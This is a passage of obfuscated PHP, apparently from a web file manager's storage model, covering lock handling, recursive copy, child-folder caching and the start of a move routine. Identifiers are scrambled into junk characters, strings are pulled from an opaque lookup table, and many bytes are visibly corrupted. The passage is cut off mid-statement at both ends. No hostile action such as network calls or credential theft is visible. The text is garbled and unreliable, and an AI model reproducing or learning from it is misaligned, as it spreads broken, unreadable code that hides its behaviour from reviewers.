$<24>ãé•Öù[622]), $ê<>á<EFBFBD>ÆÔ); } public function lockWriteStart($ྐྵߤà, $è¡¡“Èú = '') { $¨Áç“<C3A7><E2809C> =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->allowLock()) { return; } $this->_lockCheck($¨Áç“<C3A7><E2809C>[619], $ྐྵߤà); $úѯ¦³<C2A6> = 1; $this->_lockKey($¨Áç“<C3A7><E2809C>[623] . $ྐྵߤà . $¨Áç“<C3A7><E2809C>[10] . $è¡¡“Èú, $úѯ¦³<C2A6>); $this->_lockEvent($ྐྵߤà, array($¨Áç“<C3A7><E2809C>[618], $¨Áç“<C3A7><E2809C>[620]), $úѯ¦³<C2A6>); $this->_lockParent($ྐྵߤà, array($¨Áç“<C3A7><E2809C>[618], $¨Áç“<C3A7><E2809C>[620]), $úѯ¦³<C2A6>); $this->_lockCheckEnd($¨Áç“<C3A7><E2809C>[619], $ྐྵߤà); } public function lockWriteEnd($Ȩü¦©µ, $ éÐÙ— = '') { $À©ƒˆð´ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->allowLock()) { return; } $ÙÀåöíæ = 0; $this->_lockKey($À©ƒˆð´[623] . $Ȩü¦©µ . $À©ƒˆð´[10] . $ éÐÙ—, $ÙÀåöíæ); $this->_lockEvent($Ȩü¦©µ, array($À©ƒˆð´[618], $À©ƒˆð´[620]), $ÙÀåöíæ); $this->_lockParent($Ȩü¦©µ, array($À©ƒˆð´[618], $À©ƒˆð´[620]), $ÙÀåöíæ); } public function lockMoveStart($šäíîÂ) { $²ÎŠöü¡ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->allowLock()) { return; } $this->_lockCheck($²ÎŠöü¡[620], $šäíîÂ); $­Èã<C388>ëŸ = 1; $this->_lockKey($²ÎŠöü¡[624] . $šäíîÂ, $­Èã<C388>ëŸ); $this->_lockEvent($šäíîÂ, array($²ÎŠöü¡[618], $²ÎŠöü¡[619]), $­Èã<C388>ëŸ); $this->_lockParent($šäíîÂ, array($²ÎŠöü¡[618], $²ÎŠöü¡[620]), $­Èã<C388>ëŸ); $this->_lockEvent($šäíîÂ, array($²ÎŠöü¡[625], $²ÎŠöü¡[621], $²ÎŠöü¡[622]), $­Èã<C388>ëŸ); $this->_lockCheckEnd($²ÎŠöü¡[620], $šäíîÂ); } public function lockMoveEnd($ù©ã) { $Ú<>ᆚà =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->allowLock()) { return; } $µ‘ۡɦ = 0; $this->_lockKey($Ú<>ᆚÃ[624] . $ù©ã, $µ‘ۡɦ); $this->_lockEvent($ù©ã, array($Ú<>ᆚÃ[618], $Ú<>ᆚÃ[619]), $µ‘ۡɦ); $this->_lockParent($ù©ã, array($Ú<>ᆚÃ[618], $Ú<>ᆚÃ[620]), $µ‘ۡɦ); $this->_lockEvent($ù©ã, array($Ú<>ᆚÃ[625], $Ú<>ᆚÃ[621], $Ú<>ᆚÃ[622]), $µ‘ۡɦ); } private function _lockCheck($͘<C38D>ÄÚÐ, $ã“Ú<E2809C>ôï) { $‡¾˜ã³ =& $_SERVER[ˆ¡¹µ‹Â]; $<24>ì¾úâš = $this->sourceInfo($ã“Ú<E2809C>ôï); $ì¤ìžÁ´ = $͘<C38D>ÄÚÐ . $‡¾˜ã³[10] . $ã“Ú<E2809C>ôï; $this->_lockTimeStart[$ì¤ìžÁ´] = timeFloat(); if (!is_array($<24>ì¾úâš)) { return; } $͆åŠçà = LNG($‡¾˜ã³[626]); CacheLock::setErrorMsg($‡¾˜ã³[176] . htmlspecialchars($<24>ì¾úâš[$‡¾˜ã³[32]]) . $‡¾˜ã³[178] . $͆åŠçÃ); $this->_lockKey($ì¤ìžÁ´, 1); $this->_lockKey($ì¤ìžÁ´, 0); $ØÒøò¦í = array_reverse($this->parentLevelArray($<24>ì¾úâš[$‡¾˜ã³[584]])); foreach ($ØÒøò¦í as $¶ÚˆˆÃô) { $ì¤ìžÁ´ = $͘<C38D>ÄÚÐ . $‡¾˜ã³[627] . $¶ÚˆˆÃô; if (CacheLock::lockGet($‡¾˜ã³[628] . $ì¤ìžÁ´)) { $<24>ì¾úâš = $this->sourceInfo($¶ÚˆˆÃô); CacheLock::setErrorMsg($‡¾˜ã³[176] . htmlspecialchars($<24>ì¾úâš[$‡¾˜ã³[32]]) . $‡¾˜ã³[178] . $͆åŠçÃ); $this->_lockKey($ì¤ìžÁ´, 1); $this->_lockKey($ì¤ìžÁ´, 0); } } } private function _lockCheckEnd($Òäþª», $ÉØîÝ£ä) { $­ÂÇÙõ½ =& $_SERVER[ˆ¡¹µ‹Â]; $ƒ¶¢µá³ = $Òäþª» . $­ÂÇÙõ½[10] . $ÉØîÝ£ä; CacheLock::setErrorMsg($­ÂÇÙõ½[454]); if (!isset($this->_lockTimeStart[$ƒ¶¢µá³])) { return; } $¶³Ì¨é<C2A8> = timeFloat() - $this->_lockTimeStart[$ƒ¶¢µá³]; unset($this->_lockTimeStart[$ƒ¶¢µá³]); if ($¶³Ì¨é<C2A8> > 0.5) { unset(self::$cacheSourceInfo[$­ÂÇÙõ½[533] . $ÉØîÝ£ä]); } $Ù–¢ÂÅå = $this->sourceInfo($ÉØîÝ£ä); if (!$Ù–¢ÂÅå) { show_json(LNG($­ÂÇÙõ½[108]), !1); } } private function _lockParent($ˆÝÙ¿©ð, $°âÛä„Â, $í˜ç¯ìò) { if (!$this->autoLockSet) { return; } $¥¡¹ÞœÂ = $this->sourceInfo($ˆÝÙ¿©ð); if (!is_array($¥¡¹ÞœÂ)) { return; } $<24>´þŠá = array_reverse($this->parentLevelArray($¥¡¹ÞœÂ[$_SERVER[ˆ¡¹µ‹Â][584]])); foreach ($<24>´þŠá as $úššÀ<C5A1>¢) { $this->_lockEvent($úššÀ<C5A1>¢, $°âÛä„Â, $í˜ç¯ìò); } } private function _lockEvent($‹ ÓÇËÔ, $ÅØŽÛ¿¦, $»¶þíׄ) { $®â„õÈ™ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->autoLockSet) { return; } foreach ($ÅØŽÛ¿¦ as $<24>…—¸´º) { $ŠÄÂÏ–¶ = $<24>…—¸´º . $®â„õÈ™[10] . $‹ ÓÇËÔ; if ($»¶þíׄ && CacheLock::lockGet($®â„õÈ™[628] . $ŠÄÂÏ–¶)) { continue; } $this->_lockKey($ŠÄÂÏ–¶, $»¶þíׄ); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($ªæòòýŸ, $åá²å×ñ = 1) { $ÃÈ˹–ü = $_SERVER[ˆ¡¹µ‹Â][628] . md5($ªæòòýŸ); if ($åá²å×ñ) { if (isset(self::$_lockItemArr[$ÃÈ˹–ü])) { return; } self::$_lockItemArr[$ÃÈ˹–ü] = 1; CacheLock::lock($ÃÈ˹–ü, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$ÃÈ˹–ü])) { return; } unset(self::$_lockItemArr[$ÃÈ˹–ü]); CacheLock::unlock($ÃÈ˹–ü); } } public function isParentOf($­²½åÂ<C3A5>, $Ôáô<C3A1>ìç) { $ÏØ«Å¥Ü =& $_SERVER[ˆ¡¹µ‹Â]; $¨ßµÝðã = $this->sourceInfo($­²½åÂ<C3A5>); $ƒŸ×ÖÞª = $this->sourceInfo($Ôáô<C3A1>ìç); $‘¶úµ‚á = $¨ßµÝðã[$ÏØ«Å¥Ü[584]] . $¨ßµÝðã[$ÏØ«Å¥Ü[193]] . $ÏØ«Å¥Ü[50]; $¾Ëå·ŒÔ = $ƒŸ×ÖÞª[$ÏØ«Å¥Ü[584]] . $ƒŸ×ÖÞª[$ÏØ«Å¥Ü[193]] . $ÏØ«Å¥Ü[50]; $ʵ<C5A0>®ã = strpos($¾Ëå·ŒÔ, $‘¶úµ‚á) === 0; return $ʵ<C5A0>®ã; } private $targetIsDelete = 0; public function copy($ë†ßûÏ·, $<24>ò˜ã¸€, $óÝÒÆç¼ = REPEAT_REPLACE, $Û¦Ù<C2A6>ݬ = '') { $¸÷Ã÷âÝ =& $_SERVER[ˆ¡¹µ‹Â]; $‚寨¡Ù = $this->sourceInfo($ë†ßûÏ·); $К†Ã”â = $this->sourceInfo($<24>ò˜ã¸€); if (!$‚寨¡Ù || !$К†Ã”â || $К†Ã”â[$¸÷Ã÷âÝ[485]] != $¸÷Ã÷âÝ[91]) { return !1; } if ($this->isParentOf($ë†ßûÏ·, $<24>ò˜ã¸€)) { return !1; } $ªÝ»Ôý¼ = $Û¦Ù<C2A6>ݬ ? $Û¦Ù<C2A6>ݬ : $‚寨¡Ù[$¸÷Ã÷âÝ[32]]; $this->lockCopyStart($ë†ßûÏ·); $this->lockWriteStart($<24>ò˜ã¸€, $ªÝ»Ôý¼); $œ’åÞ–ö = array($¸÷Ã÷âÝ[629] => array(), $¸÷Ã÷âÝ[630] => array(), $¸÷Ã÷âÝ[631] => array()); $this->targetIsDelete = intval($‚寨¡Ù[$¸÷Ã÷âÝ[505]]); $ç¯þ¯¾­ = $this->fileNameExistAuto($<24>ò˜ã¸€, $‚寨¡Ù); $«ë<C2AB>é¼ê = $this->_copy($ë†ßûÏ·, $<24>ò˜ã¸€, $óÝÒÆç¼, $œ’åÞ–ö, !0, $Û¦Ù<C2A6>ݬ); $this->_childrenListClear(); $this->lockCopyEnd($ë†ßûÏ·); $this->lockWriteEnd($<24>ò˜ã¸€, $ªÝ»Ôý¼); if ($‚寨¡Ù[$¸÷Ã÷âÝ[485]] == $¸÷Ã÷âÝ[91] && $ç¯þ¯¾­ == $«ë<C2AB>é¼ê) { $this->folderSizeResetChildren($ç¯þ¯¾­); } Model($¸÷Ã÷âÝ[632])->addAll($œ’åÞ–ö[$¸÷Ã÷âÝ[630]], array(), !0); if ($ç¯þ¯¾­ != $«ë<C2AB>é¼ê || $‚寨¡Ù[$¸÷Ã÷âÝ[485]] == $¸÷Ã÷âÝ[91]) { Model($¸÷Ã÷âÝ[633])->eventCopy($«ë<C2AB>é¼ê); } $this->saveAll($œ’åÞ–ö[$¸÷Ã÷âÝ[631]]); Model($¸÷Ã÷âÝ[230])->linkAdd($œ’åÞ–ö[$¸÷Ã÷âÝ[629]]); $this->folderSizeReset($<24>ò˜ã¸€); $this->updateModifyTime($<24>ò˜ã¸€); return $«ë<C2AB>é¼ê; } private function _copy($×£ö<C2A3>ÁÅ, $ãÜͿޕ, $²ô‰Ÿ«è, &$²‡‘›ä¸, $·ÅÕ¬‡û, $øøØ““š = '') { $¸<>«ë<C2AB>¢ =& $_SERVER[ˆ¡¹µ‹Â]; $<24>Øüû®µ = $this->sourceInfoCache($×£ö<C2A3>ÁÅ); $Ã’æƒæ€ = $<24>Øüû®µ[$¸<>«ë<C2AB>¢[485]] == $¸<>«ë<C2AB>¢[91]; $ØÀÏ«” = $øøØ““š ? $øøØ““š : $<24>Øüû®µ[$¸<>«ë<C2AB>¢[32]]; $ᆧŔ  = $this->fileNameExistAuto($ãÜͿޕ, $<24>Øüû®µ); if ($·ÅÕ¬‡û) { $this->_childrenAllMake($×£ö<C2A3>ÁÅ); if ($Ã’æƒæ€ && $ᆧŔ ) { $this->_childrenAllMake($ᆧŔ ); } } if (!$ᆧŔ ) { return $this->_copyCreate($×£ö<C2A3>ÁÅ, $ãÜͿޕ, $ØÀÏ«”Â, $²‡‘›ä¸); } $<24>Ç”…»Ø = $ᆧŔ ; if ($Ã’æƒæ€) { if ($²ô‰Ÿ«è == REPEAT_RENAME_FOLDER) { $ØÀÏ«” = $this->fileNameAutoCache($ãÜͿޕ, $ØÀÏ«”Â, $²ô‰Ÿ«è, $Ã’æƒæ€); $<24>Ç”…»Ø = $this->_copyCreate($×£ö<C2A3>ÁÅ, $ãÜͿޕ, $ØÀÏ«”Â, $²‡‘›ä¸); } else { $<24>ãòäêÑ = $this->_childrenList($×£ö<C2A3>ÁÅ); foreach ($<24>ãòäêÑ as $—‡É—ùå) { $this->_copy($—‡É—ùå[$¸<>«ë<C2AB>¢[193]], $ᆧŔ , $²ô‰Ÿ«è, $²‡‘›ä¸, !1); } } } else { if ($²ô‰Ÿ«è == REPEAT_RENAME || $²ô‰Ÿ«è == REPEAT_RENAME_FOLDER) { $ØÀÏ«” = $this->fileNameAutoCache($ãÜͿޕ, $ØÀÏ«”Â, $²ô‰Ÿ«è, $Ã’æƒæ€); $<24>Ç”…»Ø = $this->_copyCreate($×£ö<C2A3>ÁÅ, $ãÜͿޕ, $ØÀÏ«”Â, $²‡‘›ä¸); } else { if ($²ô‰Ÿ«è == REPEAT_REPLACE) { $¡ÛÁ€Íî = $this->sourceInfoCache($ᆧŔ ); $£†“Šðò = $this->fileHistory($¡ÛÁ€Íî, $<24>Øüû®µ[$¸<>«ë<C2AB>¢[541]], $<24>Øüû®µ[$¸<>«ë<C2AB>¢[79]]); if ($£†“Šðò) { $²‡‘›ä¸[$¸<>«ë<C2AB>¢[629]][] = $<24>Øüû®µ[$¸<>«ë<C2AB>¢[541]]; } } else { if ($²ô‰Ÿ«è == REPEAT_SKIP) { } } } Hook::trigger($¸<>«ë<C2AB>¢[634], array($¸<>«ë<C2AB>¢[635], $<24>Øüû®µ, 0)); } return $<24>Ç”…»Ø; } private function _copyCreate($¡Ø<C2A1>Óþ, $¯õƼŸµ, $¡¹Ñ×Ö<C397>, &$<24>«<C2AB>ó®) { $´¤ç“‰ö =& $_SERVER[ˆ¡¹µ‹Â]; $µ°§ã¥à = $this->sourceInfoCache($¡Ø<C2A1>Óþ); $ËËœÌûß = $this->sourceInfoCache($¯õƼŸµ); $øÇåû‚Û = $this->_makeItemData($µ°§ã¥à, $ËËœÌûß, $¡¹Ñ×Ö<C397>); Hook::trigger($´¤ç“‰ö[636], $øÇåû‚Û); Hook::trigger($´¤ç“‰ö[637], array($´¤ç“‰ö[638], $øÇåû‚Û, 0)); $êùƒ¼<C692>õ = $this->add($øÇåû‚Û); $ô<>ÈÞ¸ = array($´¤ç“‰ö[193] => $êùƒ¼<C692>õ, $´¤ç“‰ö[32] => $¡¹Ñ×Ö<C397>); $this->_copyApplyMeta($ô<>ÈÞ¸, $<24>«<C2AB>ó®); if ($µ°§ã¥à[$´¤ç“‰ö[485]] != $´¤ç“‰ö[91]) { $<24>«<C2AB>ó®[$´¤ç“‰ö[629]][] = $µ°§ã¥à[$´¤ç“‰ö[541]]; return $êùƒ¼<C692>õ; } $î÷Œ™íí = array(); $ÙÍ›žæš = array(); $this->_childrenListAll($¡Ø<C2A1>Óþ, $î÷Œ™íí); $®î†Ž–¨ = count($î÷Œ™íí); if ($®î†Ž–¨ == 0) { return $êùƒ¼<C692>õ; } $ýè´¶»Ò = $this->sourceInfo($êùƒ¼<C692>õ); foreach ($î÷Œ™íí as $œ¬žÔÄî) { $‘›‡æªº = $this->_makeItemData($œ¬žÔÄî, $ýè´¶»Ò, $œ¬žÔÄî[$´¤ç“‰ö[32]]); $‘›‡æªº[$´¤ç“‰ö[584]] = $œ¬žÔÄî[$´¤ç“‰ö[584]]; $ÙÍ›žæš[] = $‘›‡æªº; } $this->chunkEventSet($´¤ç“‰ö[639], array($´¤ç“‰ö[640], $øÇåû‚Û, $®î†Ž–¨)); $this->addAll($ÙÍ›žæš, array(), !1); $ùß•Ì<E280A2>è = $this->where(array($´¤ç“‰ö[192] => $êùƒ¼<C692>õ))->select(); $¯§¨¿Ù’ = $this->_childrenMakeRelation($î÷Œ™íí, $ùß•Ì<E280A2>è); $¯§¨¿Ù’[$¡Ø<C2A1>Óþ] = $êùƒ¼<C692>õ; $<24>âõ°¡Ü = array(); $«Ñíïý½ = array(); foreach ($ùß•Ì<E280A2>è as $œ¬žÔÄî) { $˜‚¢¤‚” = $œ¬žÔÄî[$´¤ç“‰ö[193]]; $í„ÆéŒô = $this->_childrenMatch($¯§¨¿Ù’, $œ¬žÔÄî, $ýè´¶»Ò); $<24>âõ°¡Ü[] = array($´¤ç“‰ö[193], $˜‚¢¤‚”, $´¤ç“‰ö[192], $í„ÆéŒô[$´¤ç“‰ö[192]]); $«Ñíïý½[] = array($´¤ç“‰ö[193], $˜‚¢¤‚”, $´¤ç“‰ö[584], $í„ÆéŒô[$´¤ç“‰ö[584]]); $this->_copyApplyMeta($œ¬žÔÄî, $<24>«<C2AB>ó®); if ($œ¬žÔÄî[$´¤ç“‰ö[485]] != $´¤ç“‰ö[91]) { $<24>«<C2AB>ó®[$´¤ç“‰ö[629]][] = $œ¬žÔÄî[$´¤ç“‰ö[541]]; } } $this->chunkEventSet($´¤ç“‰ö[641], array($´¤ç“‰ö[642], $øÇåû‚Û, $®î†Ž–¨)); $this->saveAll($<24>âõ°¡Ü); $this->chunkEventSet($´¤ç“‰ö[643], array($´¤ç“‰ö[644], $øÇåû‚Û, $®î†Ž–¨)); $this->saveAll($«Ñíïý½); return $êùƒ¼<C692>õ; } private function _childrenMakeRelation($ÃØ‹Ë«à, $âàœ¯Žä) { $½±¸×¬¿ =& $_SERVER[ˆ¡¹µ‹Â]; $ìÎÑýÜÞ = array(); $êý¼Ìêû = array(); foreach ($ÃØ‹Ë«à as $€Îù±ô¿) { $<24>ÍéÉóú = $€Îù±ô¿[$½±¸×¬¿[32]] . $½±¸×¬¿[8] . $€Îù±ô¿[$½±¸×¬¿[584]]; $ìÎÑýÜÞ[$<24>ÍéÉóú] = $€Îù±ô¿[$½±¸×¬¿[193]]; } foreach ($âàœ¯Žä as $€Îù±ô¿) { $<24>ÍéÉóú = $€Îù±ô¿[$½±¸×¬¿[32]] . $½±¸×¬¿[8] . $€Îù±ô¿[$½±¸×¬¿[584]]; $†£<E280A0>×˜Ø = $ìÎÑýÜÞ[$<24>ÍéÉóú]; $êý¼Ìêû[$†£<E280A0>טØ] = $€Îù±ô¿[$½±¸×¬¿[193]]; } return $êý¼Ìêû; } private function _childrenMatch($‘¯ƒ½‰Ñ, $㶘ö—<C3B6>, $ñâÝ·½Ê) { $›ð’†¢¶ =& $_SERVER[ˆ¡¹µ‹Â]; $ËäêÑêº = $ñâÝ·½Ê[$›ð’†¢¶[584]]; $øÊ¨ÒÁ<C392> = $this->parentLevelArray($㶘ö—<C3B6>[$›ð’†¢¶[584]]); foreach ($øÊ¨ÒÁ<C392> as $æÏæÄ¯Ÿ) { if (isset($‘¯ƒ½‰Ñ[$æÏæÄ¯Ÿ])) { $ËäêÑêº .= $‘¯ƒ½‰Ñ[$æÏæÄ¯Ÿ] . $›ð’†¢¶[645]; } } $ËäêÑêº = rtrim($ËäêÑêº, $›ð’†¢¶[50]) . $›ð’†¢¶[50]; $™èû³Ãý = $this->parentLevelArray($ËäêÑêº); $À­´€ÄÉ = $™èû³Ãý[count($™èû³Ãý) - 1]; return array($›ð’†¢¶[192] => $À­´€ÄÉ, $›ð’†¢¶[584] => $ËäêÑêº); } private function _makeItemData($ßœœèŠ”, $Ù£í÷²Ì, $‘Ì­ù†ú) { $£åº…«Û =& $_SERVER[ˆ¡¹µ‹Â]; $¦À¹Æ­È = array($£åº…«Û[646] => $ßœœèŠ”[$£åº…«Û[485]], $£åº…«Û[494] => $‘Ì­ù†ú, $£åº…«Û[647] => $ßœœèŠ”[$£åº…«Û[486]] ? $ßœœèŠ”[$£åº…«Û[486]] : $£åº…«Û[12], $£åº…«Û[542] => $ßœœèŠ”[$£åº…«Û[541]] ? $ßœœèŠ”[$£åº…«Û[541]] : 0, $£åº…«Û[617] => $ßœœèŠ”[$£åº…«Û[79]] ? $ßœœèŠ”[$£åº…«Û[79]] : 0, $£åº…«Û[648] => intval($Ù£í÷²Ì[$£åº…«Û[190]]), $£åº…«Û[649] => intval($Ù£í÷²Ì[$£åº…«Û[569]]), $£åº…«Û[650] => intval(USER_ID), $£åº…«Û[651] => intval(USER_ID), $£åº…«Û[477] => intval($Ù£í÷²Ì[$£åº…«Û[193]]), $£åº…«Û[652] => $Ù£í÷²Ì[$£åº…«Û[584]] . $Ù£í÷²Ì[$£åº…«Û[193]] . $£åº…«Û[50], $£åº…«Û[498] => $ßœœèŠ”[$£åº…«Û[88]] ? $ßœœèŠ”[$£åº…«Û[88]] : time(), $£åº…«Û[504] => 0, $£åº…«Û[653] => $£åº…«Û[12]); return $¦À¹Æ­È; } private function _copyApplyMeta($·èÓ•Éâ, &$ƒ„ù³Éø) { $Ë<>ÁïÕÒ =& $_SERVER[ˆ¡¹µ‹Â]; $¶è¶Ž“ý = $·èÓ•Éâ[$Ë<>ÁïÕÒ[193]]; $<24>éÑÏ¿¤ = $·èÓ•Éâ[$Ë<>ÁïÕÒ[32]]; if (!isset($·èÓ•Éâ[$Ë<>ÁïÕÒ[654]]) || !$·èÓ•Éâ[$Ë<>ÁïÕÒ[654]] || $·èÓ•Éâ[$Ë<>ÁïÕÒ[654]] == $Ë<>ÁïÕÒ[228]) { $ƒ„ù³Éø[$Ë<>ÁïÕÒ[631]][] = array($Ë<>ÁïÕÒ[193], $¶è¶Ž“ý, $Ë<>ÁïÕÒ[654], short_id($¶è¶Ž“ý)); } if (Input::check($<24>éÑÏ¿¤, $Ë<>ÁïÕÒ[655])) { $ƒ„ù³Éø[$Ë<>ÁïÕÒ[630]][] = array($Ë<>ÁïÕÒ[193] => $¶è¶Ž“ý, $Ë<>ÁïÕÒ[97] => $Ë<>ÁïÕÒ[538], $Ë<>ÁïÕÒ[450] => str_replace($Ë<>ÁïÕÒ[53], $Ë<>ÁïÕÒ[12], Pinyin::get($<24>éÑÏ¿¤))); $ƒ„ù³Éø[$Ë<>ÁïÕÒ[630]][] = array($Ë<>ÁïÕÒ[193] => $¶è¶Ž“ý, $Ë<>ÁïÕÒ[97] => $Ë<>ÁïÕÒ[537], $Ë<>ÁïÕÒ[450] => Pinyin::get($<24>éÑÏ¿¤, $Ë<>ÁïÕÒ[656])); } $ƒ„ù³Éø[$Ë<>ÁïÕÒ[630]][] = array($Ë<>ÁïÕÒ[193] => $¶è¶Ž“ý, $Ë<>ÁïÕÒ[97] => $Ë<>ÁïÕÒ[517], $Ë<>ÁïÕÒ[450] => KodSort::makeStr($<24>éÑÏ¿¤)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($ൎ¼ðÐ) { $¸†óÝÓ =& $_SERVER[ˆ¡¹µ‹Â]; $ñ<>ªÝº· = $this->sourceInfo($ൎ¼ðÐ); $Ìú˜±•— = $¸†óÝÓ[657]; $ðÛ€Èɱ = array($¸†óÝÓ[584] => array($¸†óÝÓ[612], $ñ<>ªÝº·[$¸†óÝÓ[584]] . $ൎ¼ðÐ . $¸†óÝÓ[613]), $¸†óÝÓ[505] => $this->targetIsDelete); $ÜœßÝ”<C39D> = $this->field($Ìú˜±•—)->where($ðÛ€Èɱ)->select(); if (!$ÜœßÝ”<C39D>) { return; } $ÜœßÝ”<C39D> = array_to_keyvalue($ÜœßÝ”<C39D>, $¸†óÝÓ[193]); foreach ($ÜœßÝ”<C39D> as $êÈ<C383>ˆ) { $<24>¥Í³Ö = $êÈ<C383>ˆ[$¸†óÝÓ[192]]; $ൎ¼ðÐ = $êÈ<C383>ˆ[$¸†óÝÓ[193]]; if (!isset($this->_childrenListCache[$ൎ¼ðÐ]) && $êÈ<C383>ˆ[$¸†óÝÓ[485]] == $¸†óÝÓ[91]) { $this->_childrenListCache[$ൎ¼ðÐ] = array(); } if (!isset($this->_childrenListCache[$<24>¥Í³Ö])) { $this->_childrenListCache[$<24>¥Í³Ö] = array(); } $this->_childrenListCache[$<24>¥Í³Ö][$ൎ¼ðÐ] = $êÈ<C383>ˆ; $this->_childrenItemCache[$ൎ¼ðÐ] = $êÈ<C383>ˆ; } } private function _childrenListAll($‘ÕÌ̧½, &$<24>ÉŠ†õð) { $³©¿ìœ¢ =& $_SERVER[ˆ¡¹µ‹Â]; if (!isset($this->_childrenListCache[$‘ÕÌ̧½])) { return; } $®ï§µê¿ = $this->_childrenListCache[$‘ÕÌ̧½]; foreach ($®ï§µê¿ as $²Ô•š¨å => $·¯©‹ÉÀ) { $<24>ÉŠ†õð[$²Ô•š¨å] = $·¯©‹ÉÀ; if ($·¯©‹ÉÀ[$³©¿ìœ¢[485]] == $³©¿ìœ¢[91]) { $this->_childrenListAll($²Ô•š¨å, $<24>ÉŠ†õð); } } } private function sourceInfoCache($¦†®Æ‡°) { if (isset($this->_childrenItemCache[$¦†®Æ‡°])) { return $this->_childrenItemCache[$¦†®Æ‡°]; } return $this->sourceInfo($¦†®Æ‡°); } private function _childrenList($íþ¾ä•) { if (isset($this->_childrenListCache[$íþ¾ä•])) { return $this->_childrenListCache[$íþ¾ä•]; } return $this->_childrenListSelect($íþ¾ä•); } private function _childrenListSelect($ü“î<E2809A>Õ) { $°µ«Ž¼Ä =& $_SERVER[ˆ¡¹µ‹Â]; $<24>ÒÜìòª = array($°µ«Ž¼Ä[192] => $ü“î<E2809A>Õ, $°µ«Ž¼Ä[505] => $this->targetIsDelete); $´ÈÐú»÷ = $this->where($<24>ÒÜìòª)->select(); $´ÈÐú»÷ = $´ÈÐú»÷ ? $´ÈÐú»÷ : array(); $üÜ胘‚ = array_to_keyvalue($´ÈÐú»÷, $°µ«Ž¼Ä[193]); $this->_childrenListCache[$ü“î<E2809A>Õ] = $üÜ胘‚; foreach ($üÜ胘‚ as $ü“î<E2809A>Õ => $¿è€Ð‘º) { $this->_childrenItemCache[$ü“î<E2809A>Õ] = $¿è€Ð‘º; } return $üÜ胘‚; } private function fileNameExistAuto($™ÖÌëɾ, $ü„üÚ¸µ) { $ËÛ„¡©å =& $_SERVER[ˆ¡¹µ‹Â]; if ($ü„üÚ¸µ[$ËÛ„¡©å[505]] == $ËÛ„¡©å[91]) { return $this->fileNameExist($™ÖÌëɾ, $ü„üÚ¸µ[$ËÛ„¡©å[32]]); } return $this->fileNameExistCache($™ÖÌëɾ, $ü„üÚ¸µ[$ËÛ„¡©å[32]]); } private function fileNameExistCache($¿üí÷¼Õ, $¢±²¢Ãø) { $»³î÷ìâ =& $_SERVER[ˆ¡¹µ‹Â]; $¢±²¢Ãø = strtolower($¢±²¢Ãø); $©¥À®÷» = $this->_childrenList($¿üí÷¼Õ); foreach ($©¥À®÷» as $دšíëÈ) { if ($¢±²¢Ãø == strtolower($دšíëÈ[$»³î÷ìâ[32]])) { return $دšíëÈ[$»³î÷ìâ[193]]; } } return !1; } private function fileNameAutoCache($úûïÓ‹ñ, $¨Ÿäêи, $ÁéÖ˜š„, $–çÄÚá¡) { $–⺉…Ú =& $_SERVER[ˆ¡¹µ‹Â]; $¹µŠ—úÍ = $this->_childrenList($úûïÓ‹ñ); $ì¹ù¯ ù = array_to_keyvalue($¹µŠ—úÍ, $–⺉…Ú[12], $–⺉…Ú[32]); return $this->fileNameAutoGet($ì¹ù¯ ù, $¨Ÿäêи, $ÁéÖ˜š„, $–çÄÚá¡); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($ÉÚŠéÞ—, $¶Æ<C2B6>¤Ü«, $ì³ë<C2B3>ï¥ = REPEAT_REPLACE, $ûÁãìµÉ = '') { $Íõè«Ùš =& $_SERVER[ˆ¡¹µ‹Â]; $ƒµŠ•ÆÞ = $this->sourceInfo($ÉÚŠéÞ—); $ŸÖ€­¶‚ = $this->sourceInfo($¶Æ<C2B6>¤Ü«); if ($ƒµŠ•ÆÞ[$Íõè«Ùš[192]] == $ŸÖ€­¶‚[$Íõè«Ùš[193]]) { if ($ƒµŠ•ÆÞ[$Íõè«Ùš[505]] == $Íõè«Ùš[91]) { Model($Íõè«Ùš[503])->restore(array($ÉÚŠéÞ—)); } if (!$ûÁãìµÉ || $ûÁãìµÉ == $ƒµŠ•ÆÞ[$Íõè«Ùš[32]]) { return $ÉÚŠéÞ—; } } $ßÑ̼Á† = $this->pathInfoMore($ÉÚŠéÞ—); if ($this->isParentOf($ÉÚŠéÞ—, $¶Æ<C2B6>¤Ü«)) { return !1; } if (!$ƒµŠ•ÆÞ || !$ŸÖ€­¶‚ || $ŸÖ€­¶‚[$Íõè«Ùš[485]] != $Íõè«Ùš[91]) { return !1; } Hook::trigger($Íõè«Ùš[658], $ßÑ̼Á†); $this->targetIsDelete = intval($ƒµŠ•ÆÞ[$Íõè«Ùš[505]]); if ($ƒµŠ•ÆÞ[$Íõè«Ùš[192]] == $¶Æ<C2B6>¤Ü« && $ûÁãìµÉ != $ƒµŠ•ÆÞ[$Íõè«Ùš[32]]) { $Ò‚•±‰– = $this->fileNameExist($¶Æ<C2B6>¤Ü«, $ûÁãìµÉ); if ($Ò‚•±‰– && $ƒµŠ•ÆÞ[$Íõè«Ùš[485]] == $Íõè«Ùš[228]) { $ÈÕ<C388>ÑÈõ = $this->sourceInfo($Ò‚•±‰–); $‹ëøÆ€Û = $this->fileHistory($ÈÕ<C388>ÑÈõ, $ƒµŠ•ÆÞ[$Íõè«Ùš[541]], $ƒµŠ•ÆÞ[$Íõè«Ùš[79]]); if (!$‹ëøÆ€Û) { Model($Íõè«Ùš[544])->remove($ƒµŠ•ÆÞ[$Íõè«Ùš[541]]); } $this->removeNow($ÉÚŠéÞ—, !1); $this->folderSizeReset($¶Æ<C2B6>¤Ü«); Hook::trigger($Íõè«Ùš[659], $ßÑ̼Á†); return $Ò‚•±‰–; } } $Õš<C395>âÐŽ = $ûÁãìµÉ ? $ûÁãìµÉ : $ƒµŠ•ÆÞ[$Íõè«Ùš[32]]; $this->lockMoveStart($ÉÚŠéÞ—); $this->lockWriteStart($¶Æ<C2B6>¤Ü«, $Õš<C395>âÐŽ); $¤ñº“¬½ = array($Íõè«Ùš[629] => array(), $Íõè«Ùš[660] => !1); $this->clearShare($ÉÚŠéÞ—, $¶Æ<C2B6>¤Ü«); $±©¶‚ÔÞ = 